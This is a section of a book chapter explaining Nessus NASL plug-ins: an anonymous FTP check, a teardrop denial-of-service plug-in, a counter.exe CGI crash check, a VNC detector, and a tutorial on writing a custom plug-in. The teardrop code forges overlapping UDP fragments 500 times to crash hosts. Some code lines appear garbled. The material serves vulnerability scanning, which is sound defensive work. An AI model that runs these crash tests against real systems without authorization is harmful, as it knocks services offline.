1.13. Nessus Plug-ins
Now
that you understand NASL specifics, this section will help you
understand how some of the important NASL plug-ins work. Once you
understand how some of the existing plug-ins work, you will be able
to refer to them when you need to write your own. The Section 1.13.5 later in this
chapter quickly recaps all steps necessary to write and install your
own plug-in from scratch.
1.13.1. Probing for Anonymous FTP Access
Administrators sometimes forget
to harden services that allow remote access. Some of these services
come with default usernames and passwords. A Nessus plug-in can
detect such vulnerabilities by attempting to log on to the remote
service with a default username or password. For example, the
plug-in connects to an FTP server to
check if anonymous access is allowed:
#
# This script was written by Renaud Deraison <deraison@cvs.nessus.org>
#
#
# See the Nessus Scripts License for details
#
if(description)
{
script_id(10079);
script_version ("$Revision: 1.2 $");
script_cve_id("CAN-1999-0497");
script_name(english:"Anonymous FTP enabled");
script_description(english:"
This FTP service allows anonymous logins. If you do not want to share data
with anyone you do not know, then you should deactivate the anonymous account,
since it can only cause troubles.
Risk factor : Low");
script_summary(english:"Checks if the remote ftp server accepts anonymous logins");
script_category(ACT_GATHER_INFO);
script_family(english:"FTP");
script_copyright(english:"This script is Copyright (C) 1999 Renaud Deraison");
script_dependencie("find_service.nes", "logins.nasl", "smtp_settings.nasl");
script_require_ports("Services/ftp", 21);
exit(0);
}
#
# The script code starts here :
#
include("ftp_func.inc");
port = get_kb_item("Services/ftp");
if(!port)port = 21;
state = get_port_state(port);
if(!state)exit(0);
soc = open_sock_tcp(port);
if(soc)
{
domain = get_kb_item("Settings/third_party_domain");
r = ftp_log_in(socket:soc, user:"anonymous", pass:string("nessus@", domain));
if(r)
{
port2 = ftp_get_pasv_port(socket:soc);
if(port2)
{
soc2 = open_sock_tcp(port2, transport:get_port_transport(port));
if (soc2)
{
send(socket:soc, data:''''LIST /\r\n'''');
listing = ftp_recv_listing(socket:soc2);
close(soc2);
}
}
data = "
This FTP service allows anonymous logins. If you do not want to share data
with anyone you do not know, then you should deactivate the anonymous account,
since it may only cause troubles.
";
if(strlen(listing))
{
data += "The content of the remote FTP root is :
" + listing;
}
data += "
Risk factor : Low";
security_warning(port:port, data:data);
set_kb_item(name:"ftp/anonymous", value:TRUE);
user_password = get_kb_item("ftp/password");
if(!user_password)
{
set_kb_item(name:"ftp/login", value:"anonymous");
set_kb_item(name:"ftp/password", value:string("nessus@", domain));
}
}
close(soc);
}
For more information on the description functions used in the
preceding code, see the Section 1.12.2 earlier in this
chapter. The plug-in tests whether the remote host is running an FTP
service by querying the Knowledge Base for
Services/ftp. A plug-in that might have executed
previously can set the value of Services/ftp to a
port number where the FTP service was found. If the
get_kb_item( ) function does not return a value,
21 is assumed.
The get_port_state( ) function returns
FALSE if the given port is closed, in which case
the plug-in exits by calling exit(0). Otherwise, a
TCP connection is established using the open_sock_tcp() function. The variable domain is set
to a string returned by querying the Knowledge Base for the item
Settings/third_party_domain, which is set to
example.com by default. See the
smtp_settings.nasl plug-in for details.
The ftp_log_in( ) function is used to log in to the
remote FTP server on the target host. The function accepts three
parameters: the username (user), password
(pass), and port number
(socket). It returns TRUE if it
is able to successfully authenticate to the remote FTP sever, and
FALSE otherwise. The username that is passed to
ftp_log_in( ) in this case is
anonymous because the plug-in tests for anonymous
access. The password that is sent will be the string
nessus@example.com. If ftp_log_in() returns trUE, the plug-in invokes the
ftp_get_pasv_port() function, which sends a
PASV command to the FTP server. This
causes the FTP server to return a port number to be used to establish
a "passive" FTP session. This port
number is returned by ftp_get_pasv_port(), and is stored in the variable
port2. The open_sock_tcp() function is used to establish a TCP
connection with the target host on the port number specified by
port2. Next, a LIST string is
printed to the socket descriptor (soc2) using the
send( ) function. The FTP server then returns a
listing of the current directory, which is stored in the
listing string variable by invoking the
ftp_recv_listing(
) function.
The plug-in calls security_warning(
) to indicate a security warning to the
Nessus user. See the "Reporting
Functions" section later in this chapter for more
details on reporting functions. The ftp/anonymous
item is set to trUE in the Knowledge Base to
indicate that the remote host is running an FTP server that allows
anonymous access. This is useful in case another plug-in needs to
know this information. The plug-in also checks for the
ftp/password item, and if this is not set, the
plug-in sets the value of ftp/login and
ftp/password to anonymous and
nessus@example.com, respectively.
1.13.2. Using Packet Forgery to Perform a Teardrop Attack
NASL provides an
API for constructing network packets to probe for specific vulnerabilities that require unique
network packets to be forged. In this section, we will look at the
teardrop.nasl plug-in which uses a packet-forging
API provided by NASL to perform a
"teardrop" attack against the
target host. To launch a teardrop attack, two types of UDP packets
are sent repeatedly to the host. The first UDP packet contains the
IP_MF (More Fragments) flag in its IP header,
which signifies that the packet has been broken into other fragments
that will arrive independently. The IP offset of the first UDP packet
is set to 0, and the length field of the IP header is set to 56. The
second packet does not have the IP_MF flag set in
its IP header, and it contains an offset of 20. The second UDP
packet''''s IP length is set to 23. Note that these
packets are erroneous because the second UDP packet overlaps with the
first, but it''''s smaller in size than the first
packet. Hosts susceptible to this attack are known to crash while
attempting to realign fragmented packets of unequal length.be found
at http://www.insecure.org/sploits/linux.fragmentation.teardropl.
#
# This script was written by Renaud Deraison <deraison@cvs.nessus.org>
#
# See the Nessus Scripts License for details
#
if(description)
{
script_id(10279);
script_version ("$Revision: 1.2 $");
script_bugtraq_id(124);
script_cve_id("CAN-1999-0015");
name["english"] = "Teardrop";
name["francais"] = "Teardrop";
script_name(english:name["english"], francais:name["francais"]);
desc["english"] = "It was possible
to make the remote server crash
using the ''''teardrop'''' attack.
An attacker may use this flaw to
shut down this server, thus
preventing your network from
working properly.
Solution : contact your operating
system vendor for a patch.
Risk factor : High";
desc["francais"] = "Il s''''est avéré
possible de faire planter la
machine distante en utilisant
l''''attaque ''''teardrop''''.
Un pirate peut utiliser cette
attaque pour empecher votre
réseau de fonctionner normallement.
Solution : contactez le vendeur
de votre OS pour un patch.
Facteur de risque : Elevé";
script_description(english:desc["english"], francais:desc["francais"]);
summary["english"] = "Crashes the remote host using the ''''teardrop'''' attack";
summary["francais"] = "Plante le serveur distant en utilisant l''''attaque ''''teardrop''''";
script_summary(english:summary["english"], francais:summary["francais"]);
script_category(ACT_KILL_HOST);
script_copyright(english:"This script is Copyright (C) 1999 Renaud Deraison",
francais:"Ce script est Copyright (C) 1999 Renaud Deraison");
family["english"] = "Denial of Service";
family["francais"] = "Déni de service";
script_family(english:family["english"], francais:family["francais"]);
exit(0);
}
#
# The script code starts here
#
# Our constants
IPH = 20;
UDPH = 8;
PADDING = 0x1c;
MAGIC = 0x3;
IP_ID = 242;
sport = 123;
dport = 137;
LEN = IPH + UDPH + PADDING;
src = );
ip = forge_ip_packet(ip_v : 4,
ip_hl : 5,
ip_tos : 0,
ip_id : IP_ID,
ip_len : LEN,
ip_off : IP_MF,
ip_p : IPPROTO_UDP,
ip_src : src,
ip_ttl : 0x40);
# Forge the first UDP packet
LEN = UDPH + PADDING;
udp1 = forge_udp_packet(ip : ip,
uh_sport : sport, uh_dport : dport,
uh_ulen : LEN);
# Change some tweaks in the IP packet
LEN = IPH + MAGIC + 1;
ip = set_ip_elements(ip: ip, ip_len : LEN, ip_off : MAGIC);
# and forge the second UDP packet
LEN = UDPH + PADDING;
udp2 = forge_udp_packet(ip : ip,
uh_sport : sport, uh_dport : dport,
uh_ulen : LEN);
# Send our UDP packets 500 times
start_denial( );
send_packet(udp1,udp2, pcap_active:FALSE) x 500;
alive = end_denial( );
if(!alive){
set_kb_item(name:"Host/dead", value:TRUE);
security_hole(0);
}
More information
about teardrop vulnerability can be found at http://www.insecure.org/sploits/linux.fragmentation.teardropl.
See the Section 1.12.2
earlier in this chapter for more information about the description
functions used in the preceding code.
The plug-in invokes the forge_ip_packet(
) function to
construct the IP packet that will encapsulate the UDP packet. It
accepts the following parameters:
data
The actual data or payload to place in the IP packet.
ip_hl
The IP header length. If this parameter is not specified, a default
value of 5 is used.
ip_id
The IP packet ID. If this parameter is not specified, a random value
is used.
ip_len
The IP packet length. If this parameter is not specified, the length
of data plus 20 is used.
ip_off
The fragment offset. If this parameter is not specified, a value of
0 is used.
ip_p
The IP protocol to use. You canuse the following protocol values:
IPPROTO_ICMP
This variable specifies the Internet Control Message Protocol (ICMP).
IPPROTO_IGMP
This variable specifies the Internet Group Management Protocol (IGMP).
IPPROTO_IP
This variable specifies the Internet Protocol (IP).
IPPROTO_TCP
This variable specifies the Transmission Control Protocol (TCP).
IPPROTO_UDP
This variable specifies the User Datagram Protocol (UDP).
ip_src
The source IP address. This parameter should be specified as a
stringfor example, 192.168.1.1.
ip_tos
The type of service to use. If this parameter is not specified, a
value of 0 is used.
ip_ttl
Time to live. If this parameter is not specified, a value of 64 is
used.
ip_v
The IP version. If this parameter is not specified, a value of 4 is
used.
For more information on the IP protocol data structure, see RFC
791, located at http://www.faqs.org/rfcs/rfc791l.
The forge_udp_packet(
) function is used to construct the
udp1 and udp2 UDP packets that
will be sent to the target host. The forge_udp_packet(
) function accepts the following parameters:
data
The actual data or payload to place in the packet.
ip
The IP datagram structure that is returned after calling
forge_ip_packet( ).
uh_dport
The destination port number.
uh_sport
The source port number.
uh_ulen
The data length. If this parameter is not specified, Nessus will
compute it.
For more information about the UDP protocol data structure, see RFC
768, available at http://www.faqs.org/rfcs/rfc768l.
Before udp2 is constructed,
set_ip_elements(
) is called to tweak a few IP options in
the IP packet contained in ip. The IP offset value
is changed to 20, as specified by the
MAGIC variable. The set_ip_elements() function accepts the same parameters as
forge_ip_packet( ), in addition to the parameter
ip which should hold the existing IP packet.
After udp1 and udp2 are
constructed, the start_denial(
) function is called. This function
initializes some internal data structures for end_denial(). NASL requires that
start_denial( ) be called before
end_denial( ) is invoked. The plug-in sends the
UDP packets 500 times by invoking send_packet() as follows:
send_packet(udp1,udp2, pcap_active:FALSE) x 500;
After the packets are sent, end_denial( ) is
called to test whether the target host is still alive and responding
to network packets. If end_denial( ) returns
FALSE, the target host can be assumed to have
crashed, and the plug-in invokes security_hole( )
to alert the Nessus user of the teardrop vulnerability.
1.13.3. Scanning for CGI Vulnerabilities
Web-based CGI scripts often fail to filter malicious
input from external programs or users, and are therefore susceptible
to input validation attacks. One such
vulnerability was found in a CGI script known as
counter.exe. The script did not perform proper
input validation on its parameters, enabling remote users to access
arbitrary files from the host running the web server. The
counter.nasl plug-in was written to check for this
vulnerability, and its source code is as follows:
#
# This script was written by John Lampe...j_lampe@bellsouth.net
#
# See the Nessus Scripts License for details
#
if(description)
{
script_id(11725);
script_version ("$Revision: 1.2 $");
script_cve_id("CAN-1999-1030");
script_bugtraq_id(267);
name["english"] = "counter.exe vulnerability";
name["francais"] = "Counter.exe vulnerability";
script_name(english:name["english"], francais:name["francais"]);
desc["english"] = "
The CGI ''''counter.exe'''' exists on this webserver.
Some versions of this file are vulnerable to remote exploit.
An attacker may make use of this file to gain access to
confidential data or escalate their privileges on the Web
server.
Solution : remove it from the cgi-bin or scripts directory.
More info can be found at: http://www.securityfocus.com/bid/267
Risk factor : Serious";
script_description(english:desc["english"]);
summary["english"] = "Checks for the counter.exe file";
script_summary(english:summary["english"]);
script_category(ACT_MIXED_ATTACK); # mixed
script_copyright(english:"This script is Copyright (C) 2003 John Lampe",
francais:"Ce script est Copyright (C) 2003 John Lampe");
family["english"] = "CGI abuses";
family["francais"] = "Abus de CGI";
script_family(english:family["english"], francais:family["francais"]);
script_dependencie("find_service.nes", "no404.nasl");
script_require_ports("Services/www", 80);
exit(0);
}
#
# The script code starts here
#
include("http_func.inc");
include("http_keepalive.inc");
port = get_kb_item("Services/www");
if(!port) port = 80;
if(!get_port_state(port))exit(0);
directory = ";
foreach dir (cgi_dirs( ))
{
if(is_cgi_installed_ka(item:string(dir, "/counter.exe"), port:port))
{
if (safe_checks( ) == 0)
{
req = string("GET ", dir, "/counter.exe?%0A", "\r\n\r\n");
soc = open_sock_tcp(port);
if (soc)
{
send (socket:soc, data:req);
r = http_recv(socket:soc);
close(soc);
}
else exit(0);
soc2 = open_sock_tcp(port);
if (!soc2) security_hole(port);
send (socket:soc2, data:req);
r = http_recv(socket:soc2);
if (!r) security_hole(port);
if (egrep (pattern:".*Access Violation.*", string:r) ) security_hole(port);
}
else
{
mymsg = string("The file counter.exe seems to be present on the server\n");
mymsg = mymsg + string("As safe_checks were enabled, this may be a false positive\n");
security_hole(port:port, data:mymsg);
}
}
}
The plug-in calls appropriate functions to provide users with
appropriate information about itself, as described in Section 1.12.2 earlier in this
chapter. The plug-in tests to see if the remote host is running an
HTTP server by querying the
Knowledge Base for
Services/www.
A plug-in that might have executed previously can set the value of
Services/www to a port number where an HTTP server
was found. If the get_kb_item(
) function does not return a value, 80
is assumed.
The get_port_state(
) function returns
FALSE if the given port is closed, in which case
the plug-in exits by calling exit(0). Otherwise,
cgi_dirs( ) is invoked within a
foreach block to iterate through known directories
where CGI scripts are commonly known to exist (for example:
/scripts and /cgi-bin). For
each directory returned by cgi_dirs( ), the
plug-in checks for the existence of counter.exe
by invoking is_cgi_installed_ka(). The is_cgi_installed_ka() function connects to the web server and requests the
given file, returning trUE if it is found and
FALSE otherwise. The
counter.nasl plug-in calls safe_checks() to check if the user has enabled the
"Safe checks" option. If the user
has enabled this option, the plug-in returns by calling
security_hole( ) to indicate that the vulnerable
CGI has been found. If the user has not enabled the
"Safe checks" option,
safe_checks( ) returns FALSE,
and the plug-in proceeds to send requests such as the following to
the web server:
GET /cgi-bin/counter.exe?%0A
The %0A character is in hexadecimal form, and is
equivalent to the linefeed character. Upon a response from the web
server, the plug-in checks to see if the response contains the string
Access Violation, which indicates the CGI is
vulnerable. If this is the case, counter.nasl will
invoke security_hole( ) to report the issue.
Following is the plug-in code responsible for this:
if (egrep (pattern:".*Access Violation.*", string:r) ) security_hole(port);
1.13.4. Probing for VNC Servers
Virtual Network Computing (VNC)
software allows you to remotely control another host via the network.
For example, if you are running the server component of VNC on a
Windows XP machine, you can access the desktop of the machine
remotely from a Linux host running a VNC client. For more information
about VNC, visit http://www.realvnc.com/.
The VNC server runs on port 5901 by default. If port 5901 is not
available, the server attempts to bind to the next consecutive port,
and so on. When the client connects to the VNC server, the server
will first output a banner string beginning with
RFB. To test this, use the
telnet client to connect directly to the TCP port
being used by the VNC server:
[bash]$ telnet 192.168.1.1 5901
Trying 192.168.1.1...
Connected to 192.168.1.1.
Escape character is ''''^]''''.
RFB 003.007
The vnc.nasl plug-in aims to detect VNC servers on
the remote host:
#
# This script was written by Patrick Naubert
# This is version 2.0 of this script.
#
# Modified by Georges Dagousset <georges.dagousset@alert4web.com> :
# - warning with the version
# - detection of other version
# - default port for single test
#
# See the Nessus Scripts License for details
#
if(description)
{
script_id(10342);
script_version ("$Revision: 1.2 $");
# script_cve_id("CVE-MAP-NOMATCH");
name["english"] = "Check for VNC";
name["francais"] = "Check for VNC";
script_name(english:name["english"], francais:name["francais"]);
desc["english"] = "
The remote server is running VNC.
VNC permits a console to be displayed remotely.
Solution: Disable VNC access from the network by
using a firewall, or stop VNC service if not needed.
Risk factor : Medium";
desc["francais"] = "
Le serveur distant fait tourner VNC.
VNC permet d''''acceder la console a distance.
Solution: Protégez l''''accès à VNC grace à un firewall,
ou arretez le service VNC si il n''''est pas desire.
Facteur de risque : Moyen";
script_description(english:desc["english"], francais:desc["francais"]);
summary["english"] = "Checks for VNC";
summary["francais"] = "Vérifie la présence de VNC";
script_summary(english:summary["english"],
francais:summary["francais"]);
script_category(ACT_GATHER_INFO);
script_copyright(english:"This script is Copyright (C) 2000 Patrick Naubert",
francais:"Ce script est Copyright (C) 2000 Patrick Naubert");
family["english"] = "Backdoors";
family["francais"] = "Backdoors";
script_family(english:family["english"], francais:family["francais"]);
script_dependencie("find_service.nes");
script_require_ports("Services/vnc", 5900, 5901, 5902);
exit(0);
}
#
# The script code starts here
#
#
function probe(port)
{
if(get_port_state(port))
{
soc = open_sock_tcp(port);
if(soc)
{
r = recv(socket:soc, length:1024);
version = egrep(pattern:"^RFB 00[0-9]\.00[0-9]$",string:r);
if(version)
{
security_warning(port);
security_warning(port:port, data:string("Version of VNC Protocol is: ",version));
}
close(soc);
}
}
}
port = get_kb_item("Services/vnc");
if(port)probe(port:port);
else
{
for (port=5900; port <= 5902; port = port+1) {
probe(port:port);
}
}
As usual, the plug-in calls appropriate functions to provide users
with appropriate information about itself. The description functions
are described in the Section 1.12.2
section earlier in this chapter. The plug-in tests to see if the
remote host is running a VNC server by querying the
Knowledge Base
for Services/vnc. A plug-in that might have
executed before can set the value of Services/vnc
to a port number where a VNC server was found. If the
get_kb_item( ) function does not return a value, a
for loop iterates through ports 5900, 5901, and
5902. For every port, the function probe(
) is called. The probe() function invokes get_port_state( ).
This get_port_state() function returns
FALSE if the given port is closed, in which case
the plug-in exits by calling exit(0). Otherwise,
open_sock_tcp( ) is used to connect to the given port
number. The open_sock_tcp( ) takes in one required
parameter, the port number (port). Optional
parameters to this function are timeout and
transport. You can use the
timeout parameter to set a TCP timeout value, and
you can use the transport parameter to set an
applicable Nessus transport as defined in Section 1.11.4. If the given port
number is closed, open_sock_tcp( ) returns
FALSE, in which case the probe(
) function simply returns. If the target port is open,
open_sock_tcp( ) returns TRUE.
The recv( ) function is used to receive data from
the TCP port. Using the egrep() function, the data is then checked to
see if it corresponds with the VNC banner. If a match is found, the
plug-in assumes a VNC server is listening on the remote port and
calls security_warning( ) to notify the Nessus
user.
1.13.5. Installing Your Own Plug-in
The previous topics addressed the
NASL API, and you have seen how to use NASL to write scripts to check
for specific vulnerabilities. This section shows you how to write a
simple plug-in from scratch, and how to install the plug-in.
For the purposes of this exercise, let''''s assume the
plug-in aims to discover the following vulnerability: a home-grown
web application is known to serve a file,
/src/passwd.inc, when the web
browser requests it via a URL such as http://host/src/passwd.inc.
Let''''s also assume the
passwd.inc file contains
usernames and passwords. To check for our vulnerability, we simply
need to call is_cgi_installed() to test for the presence of
/src/passwd.inc. Here is the appropriate NASL
script to do so:
if (description)
{
script_id(99999);
script_version ("$Revision: 1.2 $");
script_name(english:"Checks for /src/passwd.inc");
desc["english"]="/src/passwd.inc is usually installed by XYZ web
application and contains username and password information in clear text.
Solution: Configure your web browser to not serve .inc files.
Risk factor: High";
script_description(english:desc["english"]);
script_summary(english:"Checks for the existence of /src/passwd.inc");
script_category(ACT_GATHER_INFO);
script_copyright(english:"This script is Copyright (c)2004 Nitesh
Dhanjani");
script_family(english:"CGI abuses");
script_require_ports("Services/www",80);
exit(0);
}
include ("http_func.inc");
port=get_http_port(default:80);
if(is_cgi_installed(item:"/src/passwd.inc",port:port))
security_hole(port);
For more information about the description functions used in the
preceding code, see the Section 1.12.2 earlier in this
chapter.
To install the script, place the code in a
file called homegrownwebapp.nasl. Make sure this
file is located in the
/usr/local/lib/nessus/plugins/ directory of the
host running the Nessus server. After you start the Nessus server and
connect to it via the Nessus client, go to the Plugins tab and click
the Filter tab. Check the "ID
number" box and enter 99999
in the Pattern box, as shown in Figure 1-6.
Figure 1-6. Searching for plug-ins
Because our plug-in calls script_id() with 99999 as the
parameter, the "Filter plugins..."
window returns information about our plug-in. When you click the OK
button, you should see "CGI abuses"
listed under the "Plugin selection"
listbox. Select "CGI abuses" by
clicking it, and you should see the text "Checks for
/src/passwd.inc" displayed in the listbox below it.
Click it, and you should see a description of the plug-in, as shown
in Figure 1-7.
Figure 1-7. Plug-in details
To make sure the plug-in works, you need a web server that services
the file /src/passwd.inc. If you have an Apache
web server running on a host, create a file called
src/passwd.inc within its web root directory.
Now, enter the IP address of the host running the web server in the
"Target selection" tab and click
"Start the scan." If all goes well,
you should see a Nessus report, as shown in Figure 1-8.
Figure 1-8. Nessus report with output from our plug-in
The "http" port indicates a
security hole due to the presence of
/src/passwd.inc. That is all there is to
writing, installing, and using your own plug-in in Nessus!